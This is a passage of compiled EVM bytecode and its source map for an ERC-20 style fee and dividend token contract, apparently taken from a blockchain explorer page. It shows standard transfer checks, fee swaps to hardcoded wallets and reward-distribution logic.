cd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610813565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610a1882846128df565b5f610a1882846128f6565b5f8111801561134057506001600160a01b0382165f90815260216020526040902054155b156113a557601e80546001600160a01b0384165f818152601f60205260408120839055600183018455929092527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b03191690911790556113d7565b801580156113c957506001600160a01b0382165f9081526021602052604090205415155b156113d7576113d78261179f565b6001600160a01b0382165f908152602160205260409020546019546114079183916114019161172a565b90611778565b6019556001600160a01b0382165f90815260216020526040902081905561142d81611783565b6001600160a01b039092165f9081526021602052604090206001019190915550565b61145a8383836118af565b6114648383611a48565b61146f838383611ad7565b6114798383611bc0565b611484838383611c15565b61148e8383611d3e565b6001600160a01b0383165f908152600560205260409020546114b0908261172a565b6001600160a01b0384165f908152600560205260408120919091556114d58484611d60565b6114df57816114ea565b6114ea848484611da4565b6001600160a01b0384165f9081526005602052604090205490915061150f9082611778565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115629085815260200190565b60405180910390a36001600160a01b0384165f9081526006602052604090205460ff1661159657611596846109b286610bd4565b6001600160a01b0383165f9081526006602052604090205460ff166115c2576115c2836109b285610bd4565b6001600160a01b0383165f90815260216020526040902054156115e8576115e883611619565b50505050565b5f81848411156116115760405162461bcd60e51b815260040161081391906126a1565b505050900390565b6001600160a01b0381165f90815260216020526040812054900361163a5750565b5f6116448261108e565b905080156109a157601b546116599082611778565b601b5560185460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af11580156116ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116d09190612915565b506001600160a01b0382165f9081526020808052604080832042905560219091529020600201546117019082611778565b6001600160a01b0383165f90815260216020526040902060028101919091555461142d90611783565b5f610a18828461296f565b6023546001600160a01b0382165f9081526020805260408120549091429161175d919061295c565b1080156107e457506024546117718361108e565b1192915050565b5f610a18828461295c565b5f6107e4601d546108b2601c548561130690919063ffffffff16565b601e80546117af9060019061296f565b815481106117bf576117bf612930565b5f9182526020808320909101546001600160a01b038481168452601f909252604090922054601e805492909316929181106117fc576117fc612930565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152601f918290526040812054601e8054919392916118479060019061296f565b8154811061185757611857612930565b5f9182526020808320909101546001600160a01b03168352820192909252604001902055601e80548061188c5761188c612982565b5f8281526020902081015f1990810180546001600160a01b031916905501905550565b6001600160a01b0383166119135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610813565b6001600160a01b0382166119755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610813565b5f81116119d65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610813565b6119df83610bd4565b811115610cf25760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610813565b6001600160a01b0382165f9081526007602052604090205460ff16158015611a8857506001600160a01b0381165f9081526007602052604090205460ff16155b156109a157600a54600160a01b900460ff166109a15760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610813565b6001600160a01b0383165f9081526007602052604090205460ff16158015611b1757506001600160a01b0382165f9081526007602052604090205460ff16155b8015611b315750600a546001600160a01b03838116911614155b8015611b4857506001600160a01b03821661dead14155b15610cf2576004546001600160a01b0383165f90815260056020526040902054611b729083611778565b1115610cf25760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610813565b600a546001600160a01b038281169116148015611bf557506001600160a01b0382165f9081526007602052604090205460ff16155b156109a157600160175f828254611c0c919061295c565b90915550505050565b600a546001600160a01b03848116911614611cb45760035481111580611c5257506001600160a01b0383165f9081526007602052604090205460ff165b80611c7457506001600160a01b0382165f9081526007602052604090205460ff165b611cb45760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610813565b60025481111580611cdc57506001600160a01b0383165f9081526007602052604090205460ff165b80611cfe57506001600160a01b0382165f9081526007602052604090205460ff165b610cf25760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610813565b611d488282611e8e565b156109a157611d58601554611f41565b5f6017555050565b6001600160a01b0382165f9081526007602052604081205460ff16158015610a185750506001600160a01b03165f9081526007602052604090205460ff1615919050565b5f80611db085856120e8565b1115611e87575f611dd2611dc486866120e8565b6013546108ac908690611311565b305f90815260056020526040902054909150611dee9082611778565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e3e9085815260200190565b60405180910390a3600f5415611e7557611e753061dead611e70600f546108ac6013548961131190919063ffffffff16565b61144f565b611e7f838261172a565b915050610a18565b5092915050565b5f80601554611e9c30610bd4565b6018549111159150600160a01b900460ff16158015611ebd575060145460ff165b8015611ed25750600a54600160a01b900460ff165b8015611ef657506001600160a01b0384165f9081526007602052604090205460ff16155b8015611f1a57506001600160a01b0383165f9081526007602052604090205460ff16155b8015611f335750600a546001600160a01b038481169116145b801561110c57509392505050565b6018805460ff60a01b1916600160a01b179055600d54600e54600c54600b545f93611f7d936002936108ac936114019291839182906001611778565b90505f611f99826108b2600b548661130690919063ffffffff16565b90505f611fa6848361172a565b905047611fb282612132565b5f611fbd478361172a565b90505f611fdf611fd8600b548861172a90919063ffffffff16565b8390611311565b90505f611ff7600b548361130690919063ffffffff16565b90508015612009576120098682612282565b600c545f9061201d906108ac856002611306565b90508015612065576040517328de1b1d01bf755f03d35ed25e1df6bfac73ce949082156108fc029083905f818181858888f19350505050158015612063573d5f803e3d5ffd5b505b600d545f90612079906108ac866002611306565b9050801561208a5761208a81612343565b47156120cf5760405173e2e8a5e7c717cc7da7d3d9b2be8aaa953650bd0c904780156108fc02915f818181858888f193505050501580156120cd573d5f803e3d5ffd5b505b50506018805460ff60a01b191690555050505050505050565b600a545f906001600160a01b039081169083160361210957506011546107e4565b600a546001600160a01b039081169084160361212857506010546107e4565b5060125492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061216557612165612930565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156121bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121e09190612996565b816001815181106121f3576121f3612930565b6001600160a01b03928316602091820292909201015260095461221991309116846111e3565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906122519085905f908690309042906004016129f4565b5f604051808303815f87803b158015612268575f80fd5b505af115801561227a573d5f803e3d5ffd5b505050505050565b60095461229a9030906001600160a01b0316846111e3565b60095460405163f305d71960e01b8152306004820152602481018490525f6044820181905260648201527328de1b1d01bf755f03d35ed25e1df6bfac73ce9460848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612317573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061233c9190612a2f565b5050505050565b6018546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa158015612389573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123ad9190612a5a565b6040805160028082526060820183529293505f9290916020830190803683375050600954604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015612419573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061243d9190612996565b815f8151811061244f5761244f612930565b6001600160a01b03928316602091820292909201015260185482519116908290600190811061248057612480612930565b6001600160a01b03928316602091820292909201015260095460405163b6f9de9560e01b815291169063b6f9de959085906124c5905f90869030904290600401612a71565b5f604051808303818588803b1580156124dc575f80fd5b505af11580156124ee573d5f803e3d5ffd5b5050601854600a546040516370a0823160e01b81526001600160a01b0391821660048201525f9550911692506370a082319150602401602060405180830381865afa15801561253f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125639190612a5a565b6018546040516370a0823160e01b81523060048201529192505f916001600160a01b03909116906370a0823190602401602060405180830381865afa1580156125ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125d29190612a5a565b90505f6125df828661172a565b90505f6126596125ef8486611778565b6018546040516370a0823160e01b81523060048201526001600160a01b03909116906370a0823190602401602060405180830381865afa158015612635573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d269190612a5a565b90506126716126688383611778565b601a5490611778565b601a55601954601d546126959161268c916108b29086611306565b601c5490611778565b601c5550505050505050565b5f602080835283518060208501525f5b818110156126cd578581018301518582016040015282016126b1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612701575f80fd5b50565b5f8060408385031215612715575f80fd5b8235612720816126ed565b946020939093013593505050565b5f805f60608486031215612740575f80fd5b505081359360208301359350604090920135919050565b8015158114612701575f80fd5b5f8060408385031215612775575f80fd5b8235612780816126ed565b9150602083013561279081612757565b809150509250929050565b5f805f606084860312156127ad575f80fd5b83356127b8816126ed565b925060208401356127c8816126ed565b929592945050506040919091013590565b5f602082840312156127e9575f80fd5b8135610a18816126ed565b5f805f805f805f80610100898b03121561280c575f80fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b5f60208284031215612854575f80fd5b5035919050565b5f805f6060848603121561286d575f80fd5b8335925060208401356127c8816126ed565b5f8060408385031215612890575f80fd5b823561289b816126ed565b91506020830135612790816126ed565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176107e4576107e46128cb565b5f8261291057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215612925575f80fd5b8151610a1881612757565b634e487b7160e01b5f52603260045260245ffd5b5f60018201612955576129556128cb565b5060010190565b808201808211156107e4576107e46128cb565b818103818111156107e4576107e46128cb565b634e487b7160e01b5f52603160045260245ffd5b5f602082840312156129a6575f80fd5b8151610a18816126ed565b5f815180845260208085019450602084015f5b838110156129e95781516001600160a01b0316875295820195908201906001016129c4565b509495945050505050565b85815284602082015260a060408201525f612a1260a08301866129b1565b6001600160a01b0394909416606083015250608001529392505050565b5f805f60608486031215612a41575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215612a6a575f80fd5b5051919050565b848152608060208201525f612a8960808301866129b1565b6001600160a01b0394909416604083015250606001529291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203dab56c869c709ff4ab6b534969777b6564cd37049644b1f23a13a37e3d6a44564736f6c63430008180033

Deployed Bytecode Sourcemap

5992:22096:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9563:83;;;;;;;;;;-1:-1:-1;9633:5:0;;;;;;;;;;;;-1:-1:-1;;;9633:5:0;;;;9563:83;;;;;;;:::i;:::-;;;;;;;;10992:191;;;;;;;;;;-1:-1:-1;10992:191:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10992:191:0;1023:187:1;13035:645:0;;;;;;;;;;-1:-1:-1;13035:645:0;;;;;:::i;:::-;;:::i;:::-;;21373:306;;;;;;;;;;-1:-1:-1;21373:306:0;;;;;:::i;:::-;;:::i;10031:100::-;;;;;;;;;;-1:-1:-1;10111:12:0;;10031:100;;;2192:25:1;;;2180:2;2165:18;10031:100:0;2046:177:1;20546:442:0;;;;;;;;;;-1:-1:-1;20546:442:0;;;;;:::i;:::-;;:::i;9840:83::-;;;;;;;;;;;;;:::i;8526:87::-;;;;;;;;;;;;8571:42;8526:87;;;;;-1:-1:-1;;;;;2853:32:1;;;2835:51;;2823:2;2808:18;8526:87:0;2689:203:1;3972:103:0;;;;;;;;;;-1:-1:-1;3972:103:0;;;;;:::i;:::-;4027:4;4062:5;-1:-1:-1;;;;;4051:16:0;;;4062:5;;4051:16;;3972:103;9749:83;;;;;;;;;;-1:-1:-1;9749:83:0;;6206:1;3291:36:1;;3279:2;3264:18;9749:83:0;3149:184:1;26848:288:0;;;;;;;;;;-1:-1:-1;26848:288:0;;;;;:::i;:::-;;:::i;7584:26::-;;;;;;;;;;;;;;;;6580:43;;;;;;;;;;-1:-1:-1;6580:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8430:89;;;;;;;;;;;;8477:42;8430:89;;8162:45;;;;;;;;;;;;;;;;13865:764;;;;;;;;;;-1:-1:-1;13865:764:0;;;;;:::i;:::-;;:::i;8214:33::-;;;;;;;;;;;;;;;;13688:169;;;;;;;;;;;;;:::i;10139:119::-;;;;;;;;;;-1:-1:-1;10139:119:0;;;;;:::i;:::-;;:::i;4083:139::-;;;;;;;;;;;;;:::i;6526:47::-;;;;;;;;;;-1:-1:-1;6526:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;24523:222;;;;;;;;;;-1:-1:-1;24523:222:0;;;;;:::i;:::-;-1:-1:-1;;;;;24703:19:0;24623:7;24703:19;;;:6;:19;;;;;:33;;;;24523:222;9931:92;;;;;;;;;;-1:-1:-1;9983:7:0;10010:5;-1:-1:-1;;;;;10010:5:0;9931:92;;24237:140;;;;;;;;;;-1:-1:-1;24237:140:0;;;;;:::i;:::-;;:::i;24757:83::-;;;;;;;;;;;;;:::i;11191:154::-;;;;;;;;;;;;;:::i;9654:87::-;;;;;;;;;;-1:-1:-1;9726:7:0;;;;;;;;;;;;-1:-1:-1;;;9726:7:0;;;;9654:87;;7617:29;;;;;;;;;;;;;;;;6727:19;;;;;;;;;;-1:-1:-1;6727:19:0;;;;-1:-1:-1;;;;;6727:19:0;;;10266:197;;;;;;;;;;-1:-1:-1;10266:197:0;;;;;:::i;:::-;;:::i;7360:67::-;;;;;;;;;;-1:-1:-1;7360:67:0;;;;-1:-1:-1;;;;;7360:67:0;;;24385:130;;;;;;;;;;-1:-1:-1;24385:130:0;;;;;:::i;:::-;;:::i;22252:1701::-;;;;;;;;;;-1:-1:-1;22252:1701:0;;;;;:::i;:::-;;:::i;10857:127::-;;;;;;;;;;-1:-1:-1;10857:127:0;;;;;:::i;:::-;;:::i;8036:39::-;;;;;;;;;;-1:-1:-1;8036:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4779:25:1;;;4835:2;4820:18;;4813:34;;;;4863:18;;;4856:34;4767:2;4752:18;8036:39:0;4577:319:1;25546:559:0;;;;;;;;;;-1:-1:-1;25546:559:0;;;;;:::i;:::-;;:::i;10471:184::-;;;;;;;;;;-1:-1:-1;10471:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;10620:18:0;;;10588:7;10620:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10471:184;14637:261;;;;;;;;;;;;;:::i;7653:31::-;;;;;;;;;;;;;;;;4230:136;;;;;;;;;;-1:-1:-1;4230:136:0;;;;;:::i;:::-;;:::i;8118:37::-;;;;;;;;;;;;;;;;10992:191;11094:4;11116:37;11125:10;11137:7;11146:6;11116:8;:37::i;:::-;-1:-1:-1;11171:4:0;10992:191;;;;;:::o;13035:645::-;4027:4;4062:5;-1:-1:-1;;;;;4062:5:0;3922:10;4051:16;3906:38;;;;-1:-1:-1;;;3906:38:0;;;;;;;:::i;:::-;;;;;;;;;13165:13:::1;13206:5;13198:4;13182:13;10111:12:::0;;;10031:100;13182:13:::1;:20;;;;:::i;:::-;13181:30;;;;:::i;:::-;13165:46;;13222:19;13271:5;13261:6;13245:13;10111:12:::0;;;10031:100;13245:13:::1;:22;;;;:::i;:::-;13244:32;;;;:::i;:::-;13222:54;;13287:17;13335:5;13324:7;13308:13;10111:12:::0;;;10031:100;13308:13:::1;:23;;;;:::i;:::-;13307:33;;;;:::i;:::-;13351:12;:20:::0;;;13382:14:::1;:28:::0;;;13421:15:::1;:27:::0;;;13287:53;-1:-1:-1;;13475:30:0::1;13500:4;13475:20;13493:1;13475:13;10111:12:::0;;;10031:100;13475:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;13459:46;;13547:5;13538;:14;;:38;;;;;13571:5;13556:11;:20;;13538:38;:60;;;;;13593:5;13580:9;:18;;13538:60;13516:156;;;::::0;-1:-1:-1;;;13516:156:0;;6617:2:1;13516:156:0::1;::::0;::::1;6599:21:1::0;6656:2;6636:18;;;6629:30;6695:34;6675:18;;;6668:62;-1:-1:-1;;;6746:18:1;;;6739:44;6800:19;;13516:156:0::1;6415:410:1::0;13516:156:0::1;13154:526;;;;13035:645:::0;;;:::o;21373:306::-;4027:4;4062:5;-1:-1:-1;;;;;4062:5:0;3922:10;4051:16;3906:38;;;;-1:-1:-1;;;3906:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;21483:23:0;::::1;;::::0;;;:15:::1;:23;::::0;;;;:32;;-1:-1:-1;;21483:32:0::1;::::0;::::1;::::0;::::1;::::0;;;::::1;::::0;;;21526:146:::1;;21553:29;21572:6;21580:1;21553:18;:29::i;:::-;21373:306:::0;;:::o;21526:146::-:1;21615:45;21634:6;21642:17;21652:6;21642:9;:17::i;:::-;21615:18;:45::i;20546:442::-:0;20678:4;20695:36;20705:6;20713:9;20724:6;20695:9;:36::i;:::-;20742:216;20765:6;20786:10;20811:136;20865:6;20811:136;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;20811:19:0;;;;;;:11;:19;;;;;;;;20831:10;20811:31;;;;;;;;;:136;:35;:136::i;:::-;20742:8;:216::i;:::-;-1:-1:-1;20976:4:0;20546:442;;;;;;:::o;9840:83::-;4027:4;4062:5;-1:-1:-1;;;;;4062:5:0;3922:10;4051:16;3906:38;;;;-1:-1:-1;;;3906:38:0;;;;;;;:::i;:::-;9894:14:::1;:21:::0;;-1:-1:-1;;;;9894:21:0::1;-1:-1:-1::0;;;9894:21:0::1;::::0;;9840:83::o;26848:288::-;4027:4;4062:5;-1:-1:-1;;;;;4062:5:0;3922:10;4051:16;3906:38;;;;-1:-1:-1;;;3906:38:0;;;;;;;:::i;:::-;27018:9:::1;:22:::0;;;;27051:15:::1;:34:::0;27096:14:::1;:32:::0;26848:288::o;13865:764::-;4027:4;4062:5;-1:-1:-1;;;;;4062:5:0;3922:10;4051:16;3906:38;;;;-1:-1:-1;;;3906:38:0;;;;;;;:::i;:::-;14138:12:::1;:25:::0;;;14174:12:::1;:25:::0;;;14210:7:::1;:15:::0;;;14236:10:::1;:21:::0;;;14268:14:::1;:29:::0;;;14308:8:::1;:17:::0;;;14336:7:::1;:15:::0;;;14362:11:::1;:20:::0;;;14427:11:::1;::::0;:18:::1;::::0;14443:1:::1;14427:15;:18::i;:::-;14415:8;;:30;;:80;;;;-1:-1:-1::0;14477:11:0::1;::::0;:18:::1;::::0;14493:1:::1;14477:15;:18::i;:::-;14466:7;;:29;;14415:80;:134;;;;-1:-1:-1::0;14531:11:0::1;::::0;:18:::1;::::0;14547:1:::1;14531:15;:18::i;:::-;14516:11;;:33;;14415:134;14393:228;;;::::0;-1:-1:-1;;;14393:228:0;;7032:2:1;14393:228:0::1;::::0;::::1;7014:21:1::0;7071:2;7051:18;;;7044:30;7110:34;7090:18;;;7083:62;-1:-1:-1;;;7161:18:1;;;7154:42;7213:19;;14393:228:0::1;6830:408:1::0;14393:228:0::1;13865:764:::0;;;;;;;;:::o;13688:169::-;4027:4;4062:5;-1:-1:-1;;;;;4062:5:0;3922:10;4051:16;3906:38;;;;-1:-1:-1;;;3906:38:0;;;;;;;:::i;:::-;13756:12:::1;::::0;13741::::1;:27:::0;;;13779:14:::1;:29:::0;;;13819:15:::1;:30:::0;13688:169::o;10139:119::-;-1:-1:-1;;;;;10232:18:0;10205:7;10232:18;;;:9;:18;;;;;;;10139:119::o;4083:139::-;4027:4;4062:5;-1:-1:-1;;;;;4062:5:0;3922:10;4051:16;3906:38;;;;-1:-1:-1;;;3906:38:0;;;;;;;:::i;:::-;4164:1:::1;4148:18:::0;;-1:-1:-1;;;;;;4148:18:0::1;::::0;;4182:32:::1;::::0;2835:51:1;;;4182:32:0::1;::::0;2823:2:1;2808:18;4182:32:0::1;;;;;;;4083:139::o:0;24237:140::-;4027:4;4062:5;-1:-1:-1;;;;;4062:5:0;3922:10;4051:16;3906:38;;;;-1:-1:-1;;;3906:38:0;;;;;;;:::i;:::-;24323:46:::1;::::0;-1:-1:-1;;;24323:46:0;;24349:10:::1;24323:46;::::0;::::1;7417:51:1::0;7484:18;;;7477:34;;;-1:-1:-1;;;;;24323:25:0;::::1;::::0;::::1;::::0;7390:18:1;;24323:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;24237:140:::0;;:::o;24757:83::-;24802:30;24821:10;24802:18;:30::i;:::-;24757:83::o;11191:154::-;11250:7;11277:60;11315:21;11333:1;11315:9;:21::i;:::-;11277:33;11294:15;8287:42;11294:9;:15::i;:::-;11277:12;;;:16;:33::i;:::-;:37;;:60::i;:::-;11270:67;;11191:154;:::o;10266:197::-;10371:4;10393:40;10403:10;10415:9;10426:6;10393:9;:40::i;24385:130::-;24461:7;;24454:53;;-1:-1:-1;;;24454:53:0;;8571:42;24454:53;;;7417:51:1;7484:18;;;7477:34;;;-1:-1:-1;;;;;24461:7:0;;;;24454:24;;7390:18:1;;24454:53:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;22252:1701::-;22405:12;:19;22450:10;22378:24;22475:21;;;22471:60;;22513:7;;22252:1701;;;:::o;22471:60::-;22541:15;22571;22589:9;22674:10;22609:18;22664:21;;;:9;:21;;;;;;;;;22701:15;:27;;;;;;22571;;-1:-1:-1;22609:18:0;;22701:27;;22696:1250;;22745:506;22762:3;22752:7;:13;:46;;;;;22782:16;22769:10;:29;22752:46;22745:506;;;22839:16;22823:12;;:32;22819:97;;22895:1;22880:12;:16;22819:97;22938:41;22952:12;22965;;22952:26;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;22952:26:0;22938:13;:41::i;:::-;22934:136;;;23004:46;23023:12;23036;;23023:26;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;23023:26:0;23004:18;:46::i;:::-;23098:35;23110:22;23122:9;23110:7;;:11;:22::i;:::-;23098:7;;:11;:35::i;:::-;23088:45;;23162:9;23190:12;:14;;23152:19;;-1:-1:-1;23190:12:0;:14;;;:::i;:::-;;;;;;23223:12;;;;;:::i;:::-;;;;22745:506;;;22696:1250;;;23283:14;23300:22;23317:4;23300:16;:22::i;:::-;-1:-1:-1;;;;;23360:20:0;;;;;;:9;:20;;;;;;23283:39;;-1:-1:-1;23360:33:0;;23385:7;23360:24;:33::i;:::-;-1:-1:-1;;;;;23337:20:0;;;;;;:9;:20;;;;;:56;23432:21;23446:7;23432:11;:21;:::i;:::-;23418:10;23408:21;;;;:9;:21;;;;;:45;23472:10;;23468:467;;23522:16;;:28;;23543:6;23522:20;:28::i;:::-;23503:16;:47;23576:7;;23569:38;;-1:-1:-1;;;23569:38:0;;-1:-1:-1;;;;;7435:32:1;;;23569:38:0;;;7417:51:1;7484:18;;;7477:34;;;23576:7:0;;;;23569:24;;7390:18:1;;23569:38:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;;23626:23:0;;;;;;:17;:23;;;;;;;23652:15;23626:41;;23715:6;:12;;;;;:26;;;:78;;23768:6;23715:30;:78::i;:::-;-1:-1:-1;;;;;23686:12:0;;;;;;:6;:12;;;;;:26;;;:107;;;;23881:19;23841:78;;:17;:78::i;:::-;-1:-1:-1;;;;;23812:12:0;;;;;;:6;:12;;;;;:26;;:107;23468:467;23268:678;22696:1250;22367:1586;;;;;;22252:1701;;;:::o;10857:127::-;4027:4;4062:5;-1:-1:-1;;;;;4062:5:0;3922:10;4051:16;3906:38;;;;-1:-1:-1;;;3906:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10944:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;10944:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10857:127::o;25546:559::-;-1:-1:-1;;;;;25670:19:0;;25641:7;25670:19;;;:6;:19;;;;;:26;:31;;25666:72;;-1:-1:-1;25725:1:0;;25546:559;-1:-1:-1;25546:559:0:o;25666:72::-;-1:-1:-1;;;;;25812:19:0;;25748:29;25812:19;;;:6;:19;;;;;:26;25780:69;;:17;:69::i;:::-;-1:-1:-1;;;;;25895:19:0;;25860:32;25895:19;;;:6;:19;;;;;:33;;;25748:101;;-1:-1:-1;25943:49:0;;;25939:90;;-1:-1:-1;26016:1:0;;25546:559;-1:-1:-1;;;25546:559:0:o;25939:90::-;26046:51;:21;26072:24;26046:25;:51::i;:::-;26039:58;25546:559;-1:-1:-1;;;;25546:559:0:o;14637:261::-;4027:4;4062:5;-1:-1:-1;;;;;4062:5:0;3922:10;4051:16;3906:38;;;;-1:-1:-1;;;3906:38:0;;;;;;;:::i;:::-;14712:1:::1;14697:12;:16:::0;;;14738:3:::1;14723:12;:18:::0;;;14751:7:::1;:11:::0;;;14772:10:::1;:16:::0;14815:3:::1;14798:14;:20:::0;14839:3:::1;14828:8;:14:::0;;;14852:7:::1;:13:::0;14875:11:::1;:15:::0;14637:261::o;4230:136::-;4027:4;4062:5;-1:-1:-1;;;;;4062:5:0;3922:10;4051:16;3906:38;;;;-1:-1:-1;;;3906:38:0;;;;;;;:::i;:::-;4306:5:::1;:11:::0;;-1:-1:-1;;;;;;4306:11:0::1;-1:-1:-1::0;;;;;4306:11:0;::::1;::::0;;::::1;::::0;;;4333:25:::1;::::0;2835:51:1;;;4333:25:0::1;::::0;2823:2:1;2808:18;4333:25:0::1;;;;;;;4230:136:::0;:::o;20996:369::-;-1:-1:-1;;;;;21123:19:0;;21115:68;;;;-1:-1:-1;;;21115:68:0;;8592:2:1;21115:68:0;;;8574:21:1;8631:2;8611:18;;;8604:30;8670:34;8650:18;;;8643:62;-1:-1:-1;;;8721:18:1;;;8714:34;8765:19;;21115:68:0;8390:400:1;21115:68:0;-1:-1:-1;;;;;21202:21:0;;21194:68;;;;-1:-1:-1;;;21194:68:0;;8997:2:1;21194:68:0;;;8979:21:1;9036:2;9016:18;;;9009:30;9075:34;9055:18;;;9048:62;-1:-1:-1;;;9126:18:1;;;9119:32;9168:19;;21194:68:0;8795:398:1;21194:68:0;-1:-1:-1;;;;;21273:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;21325:32;;2192:25:1;;;21325:32:0;;2165:18:1;21325:32:0;;;;;;;20996:369;;;:::o;1406:98::-;1464:7;1491:5;1495:1;1491;:5;:::i;1512:98::-;1570:7;1597:5;1601:1;1597;:5;:::i;21687:557::-;21785:1;21776:6;:10;:45;;;;-1:-1:-1;;;;;;21790:19:0;;;;;;:6;:19;;;;;:26;:31;21776:45;21772:223;;;26427:12;:19;;-1:-1:-1;;;;;26393:31:0;;;;;;:18;:31;;;;;:53;;;26457:30;;;;;;;;;;;;;-1:-1:-1;;;;;;26457:30:0;;;;;;21772:223;;;21894:11;;:45;;;;-1:-1:-1;;;;;;21909:19:0;;21938:1;21909:19;;;:6;:19;;;;;:26;:30;;21894:45;21890:105;;;21956:27;21971:11;21956:14;:27::i;:::-;-1:-1:-1;;;;;22035:19:0;;;;;;:6;:19;;;;;:26;22019:11;;:55;;22067:6;;22019:43;;:15;:43::i;:::-;:47;;:55::i;:::-;22005:11;:69;-1:-1:-1;;;;;22085:19:0;;;;;;:6;:19;;;;;:35;;;22167:69;22114:6;22167:17;:69::i;:::-;-1:-1:-1;;;;;22131:19:0;;;;;;;:6;:19;;;;;:33;;:105;;;;-1:-1:-1;21687:557:0:o;11909:1118::-;12032:37;12043:6;12051:9;12062:6;12032:10;:37::i;:::-;12105:38;12125:6;12133:9;12105:19;:38::i;:::-;12155:41;12170:6;12178:9;12189:6;12155:14;:41::i;:::-;12207:35;12224:6;12232:9;12207:16;:35::i;:::-;12254:39;12267:6;12275:9;12286:6;12254:12;:39::i;:::-;12326:27;12335:6;12343:9;12326:8;:27::i;:::-;-1:-1:-1;;;;;12384:17:0;;;;;;:9;:17;;;;;;:29;;12406:6;12384:21;:29::i;:::-;-1:-1:-1;;;;;12364:17:0;;;;;;:9;:17;;;;;:49;;;;12449:32;12374:6;12471:9;12449:13;:32::i;:::-;:104;;12547:6;12449:104;;;12497:34;12505:6;12513:9;12524:6;12497:7;:34::i;:::-;-1:-1:-1;;;;;12587:20:0;;;;;;:9;:20;;;;;;12424:129;;-1:-1:-1;12587:40:0;;